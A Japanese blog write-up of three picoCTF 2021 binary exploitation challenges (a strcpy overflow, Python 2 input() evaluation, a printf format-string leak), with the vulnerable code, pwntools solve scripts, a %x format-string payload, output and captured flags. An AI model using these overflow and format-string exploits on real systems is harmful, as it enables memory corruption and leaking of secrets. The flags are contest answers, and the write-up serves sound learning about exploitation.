好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2021 [Binary Exploitation] writeup

2021年3月16日~3月30日(日本時間では3月17日~3月31日)に開催された中高生向けのCTF大会、picoCTFの[Binary]分野のwriteupです。
その他のジャンルについてはこちらを参照

tech.kusuwada.com

Binary Gauntlet 0

This series of problems has to do with binary protections and how they affect exploiting a very simple program. How far can you make it in the gauntlet? gauntlet nc mercury.picoctf.net 35363

gauntlet ファイルが配布されます。

最初の問題だしガチャガチャして動作確認できるかと思ったけどいまいちわからなかったので、 ヒントを読んで binary protections を確認してみた。

from pwn import *
e = ELF('gauntlet')

実行結果

$ python solve.py
[*] '/picoCTF2021/Binary/Binary Gauntlet 0/gauntlet'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

ほとんど protect かかってない。
ghidraに突っ込んだ。

undefined8 main(void)

{
  char local_88 [108];
  __gid_t local_1c;
  FILE *local_18;
  char *local_10;
  
  local_10 = (char *)malloc(1000);
  local_18 = fopen("flag.txt","r");
  if (local_18 == (FILE *)0x0) {
    puts(
        "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are runningthis on the shell server."
        );
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  fgets(flag,0x40,local_18);
  signal(0xb,sigsegv_handler);
  local_1c = getegid();
  setresgid(local_1c,local_1c,local_1c);
  fgets(local_10,1000,stdin);
  local_10[999] = '\0';
  printf(local_10);
  fflush(stdout);
  fgets(local_10,1000,stdin);
  local_10[999] = '\0';
  strcpy(local_88,local_10);
  return 0;
}

flagを読み込んで、そのあとbufferが1000の領域にユーザー入力を読み込み。
strcpy関数を最後に使っているのが怪しい。

Man page of STRCPY

strcpy() 関数は src が指す文字列を末尾のヌルバイト ('\0') も含めて dest が指すバッファーにコピーする。 strcpy() の受け側の文字列が十分な大きさでない場合、何が起こるかわからない。 固定長文字列を溢れさせるのは、マシンの制御を掌中に収めるために クラッカーが好んで使うテクニックである。

なるほど。最後はbuff size 108 の local_88 に、 local_10 を999文字コピーすることになっている。何もしなくてもbuffer overflowしてそうだ。
strcpyのとき(入力の2回目)に長い入力を入れてみる。

from pwn import *

host = 'mercury.picoctf.net'
port = 35363

r = remote(host, port)
r.sendline(b'a'*(1))
print(r.recv())
r.sendline(b'a'*(108+32))
print(r.recv())

※32は適当。
実行結果

$ python solve.py
[+] Opening connection to mercury.picoctf.net on port 35363: Done
b'a\n'
b'53bb653334bce9d372ed35e599e50015\n\n'

なんか取れた。
これをそのまま突っ込んだらフラグでした👍

What's your input?

We'd like to get your input on a couple things. Think you can answer my questions correctly? in.py nc mercury.picoctf.net 60060.

in.pyが配布されます。

#!/usr/bin/python2 -u
import random

cities = open("./city_names.txt").readlines()
city = random.choice(cities).rstrip()
year = 2018

print("What's your favorite number?")
res = None
while not res:
    try:
        res = input("Number? ")
        print("You said: {}".format(res))
    except:
        res = None

if res != year:
    print("Okay...")
else:
    print("I agree!")

print("What's the best city to visit?")
res = None
while not res:
    try:
        res = input("City? ")
        print("You said: {}".format(res))
    except:
        res = None

if res == city:
    print("I agree!")
    flag = open("./flag").read()
    print(flag)
else:
    print("Thanks for your input!")

好きな数を聞かれ、これに対してはglobalで定義されている years = 2018を答えればよさそう。
問題は次の City。city_names.txt のなかからランダムで答えが決まるらしい。

こちらもガチャガチャと入力を試していたのだけど、0,1のような数値はそのまま受け取るけどabcみたいな文字列は"abc"と明示的にstringに指定してあげないとexceptの方に捕まってるっぽい。
…ということは、変数そのまま書いたら通るのでは?

$ nc mercury.picoctf.net 60060
What's your favorite number?
Number? 2018
You said: 2018
I agree!
What's the best city to visit?
City? city
You said: Lakeland
I agree!
picoCTF{v4lua4bl3_1npu7_8440832}

やったー!

Stonks

I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn't believe you if you told me it's unsecure! vuln.c nc mercury.picoctf.net 59616

vuln.cが配布されます。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
    int shares;
    char symbol[MAX_SYM_LEN + 1];
    struct Stonks *next;
} Stonk;

typedef struct Portfolios {
    int money;
    Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
    if (!p) {
        return 1;
    }
    printf("\nPortfolio as of ");
    fflush(stdout);
    system("date"); // TODO: implement this in C
    fflush(stdout);

    printf("\n\n");
    Stonk *head = p->head;
    if (!head) {
        printf("You don't own any stonks!\n");
    }
    while (head) {
        printf("%d shares of %s\n", head->shares, head->symbol);
        head = head->next;
    }
    return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
    if (shares < 1) {
        return NULL;
    }
    Stonk *stonk = malloc(sizeof(Stonk));
    stonk->shares = shares;

    int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
    for (int i = 0; i <= MAX_SYM_LEN; i++) {
        if (i < AI_symbol_len) {
            stonk->symbol[i] = 'A' + (rand() % 26);
        } else {
            stonk->symbol[i] = '\0';
        }
    }

    stonk->next = NULL;

    return stonk;
}

int buy_stonks(Portfolio *p) {
    if (!p) {
        return 1;
    }
    char api_buf[FLAG_BUFFER];
    FILE *f = fopen("api","r");
    if (!f) {
        printf("Flag file not found. Contact an admin.\n");
        exit(1);
    }
    fgets(api_buf, FLAG_BUFFER, f);

    int money = p->money;
    int shares = 0;
    Stonk *temp = NULL;
    printf("Using patented AI algorithms to buy stonks\n");
    while (money > 0) {
        shares = (rand() % money) + 1;
        temp = pick_symbol_with_AI(shares);
        temp->next = p->head;
        p->head = temp;
        money -= shares;
    }
    printf("Stonks chosen\n");

    // TODO: Figure out how to read token from file, for now just ask

    char *user_buf = malloc(300 + 1);
    printf("What is your API token?\n");
    scanf("%300s", user_buf);
    printf("Buying stonks with token:\n");
    printf(user_buf);

    // TODO: Actually use key to interact with API

    view_portfolio(p);

    return 0;
}

Portfolio *initialize_portfolio() {
    Portfolio *p = malloc(sizeof(Portfolio));
    p->money = (rand() % 2018) + 1;
    p->head = NULL;
    return p;
}

void free_portfolio(Portfolio *p) {
    Stonk *current = p->head;
    Stonk *next = NULL;
    while (current) {
        next = current->next;
        free(current);
        current = next;
    }
    free(p);
}

int main(int argc, char *argv[])
{
    setbuf(stdout, NULL);
    srand(time(NULL));
    Portfolio *p = initialize_portfolio();
    if (!p) {
        printf("Memory failure\n");
        exit(1);
    }

    int resp = 0;

    printf("Welcome back to the trading app!\n\n");
    printf("What would you like to do?\n");
    printf("1) Buy some stonks!\n");
    printf("2) View my portfolio\n");
    scanf("%d", &resp);

    if (resp == 1) {
        buy_stonks(p);
    } else if (resp == 2) {
        view_portfolio(p);
    }

    free_portfolio(p);
    printf("Goodbye!\n");

    exit(0);
}

さすがAIが絡むだけあって ( •̅_•̅ ) ちょっと長い。あれか、stonksってstockをもじってるのか。株式売買的な。
接続して挙動を確認してみます。

$ nc mercury.picoctf.net 59616
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio

stonkを購入したり、自分の現在の状況が見れるプログラムの様子。
flagはapiというファイルに描かれているようで、api_bufに格納されます。これはstonkの購入で呼ばれる。
所持金の初期値は、1~2018の中でランダムに決まる。

shareは所持金の中のいくら払うかをランダムに決めてくれていて、pick_symbol_with_AIで、買う銘柄symbol(4文字以下のランダムなアルファベット)を決めてくれます。
この関数内でStonk構造体をmallocし、返却しています。

その後の API tokenを聞かれる部分の処理

char *user_buf = malloc(300 + 1);
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf);

ここでわざわざ入力したuser_buffを見せてくれるのが怪しい。
picoCTF 2018 [Binary] echooo と同じく、Format String Attackで解けそう。

format string attackで、api_bufの値が読み込めれば良さそう。
問題は、過去問みたいに

AAAA%08x.%08x.%08x.%08x.%08x.%08x....

みたいな入力を送っても、全然 41414141 がでてこないこと。困った。
やけくそでメモリ全部吐いてもらったらflag formatが見えた!(hexからasciiへの変換が必要)

What is your API token?
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Buying stonks with token:
8fd63d0804b00080489c3f7ec4d80ffffffff18fd4160f7ed2110f7ec4dc708fd518018fd63b08fd63d06f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e3834313634356562ff8d007df7effaf8f7ed2440dc82070010f7d61be9f7ed30c0f7ec45c0f7ec4000ff8d42c8f7d5258df7ec45c08048ecaff8d42d40f7ee6f09804b000f7ec4000f7ec4e20ff8d4308f7eecd50f7ec5890dc820700f7ec4000804b000ff8d43088048c868fd4160ff8d42f4ff8d43088048be9f7ec43fc0ff8d43bcff8d43b4118fd4160dc820700ff8d432000f7d07f21f7ec4000f7ec40000f7d07f211ff8d43b4ff8d43bcff8d434410f7ec4000f7ee770af7eff0000f7ec400000b503eba3f786db3000180486300f7eecd50f7ee7960804b00018048630

hex to bytes結果

.Ö=..°..H.?~ÄØ.ÿÿÿñ.Ô..~Ò..~ÄÜp.Õ...Ö;.ýcÐocip{FTC0l_I4_t5m_ll0m_y_y3n841645ebÿ..}÷ïúø÷í$@Ü....÷Ö.é÷í0À÷ìEÀ÷ì@.ÿ.BÈ÷Õ%.÷ìEÀ.Hì¯øÔ-@÷îo   .K..~Ä..~Äâ.øÔ0.~ìÕ.~Å.
È p.~Ä...°.ÿ.C..HÈhýA`ÿ.Bôÿ.C..H¾.~Ä?Àÿ.C¼ÿ.C´..Ô.
È p.øÔ2..}.ò.~Ä..~Ä..÷Ð.!.øÔ;OøÔ;ÏøÔ4A.~Ä..~çp¯~ÿ..÷ì@..µ.ë£÷.Û0....0.~ìÕ.~ç...°....0

4文字ずつ逆さまに読んで、ついでに全体をコードに落として

from pwn import *
import binascii

host = 'mercury.picoctf.net'
port = 59616

attack_msg = b'%x' * 150
r = remote(host, port)
r.recvuntil(b'2) View my portfolio\n')
r.sendline(b'1')
r.recvuntil(b'What is your API token?\n')
r.sendline(attack_msg)
res = r.recvuntil(b'Portfolio as of')[30:200]
encoded = binascii.unhexlify(res)
for i in range(len(encoded)//4):
    for c in encoded[i*4:i*4+4][::-1]:
        try:
            print(chr(c), end='')
        except:
            continue

実行結果

$ python solve.py 
[+] Opening connection to mercury.picoctf.net on port 59616: Done
°\x09H\x00Øx\x7f?ÿÿÿ\x0f\x16,ñ\x11\x7f\x0fÜx\x7f\x0f\x18-p7.ãpicoCTF{I_l05t_4ll_my_m0n3y_6148be54}\x00ßÿø:û÷

ちょっと汚いけどflag取れたのでヨシ(๑•̀ㅂ•́)و✧。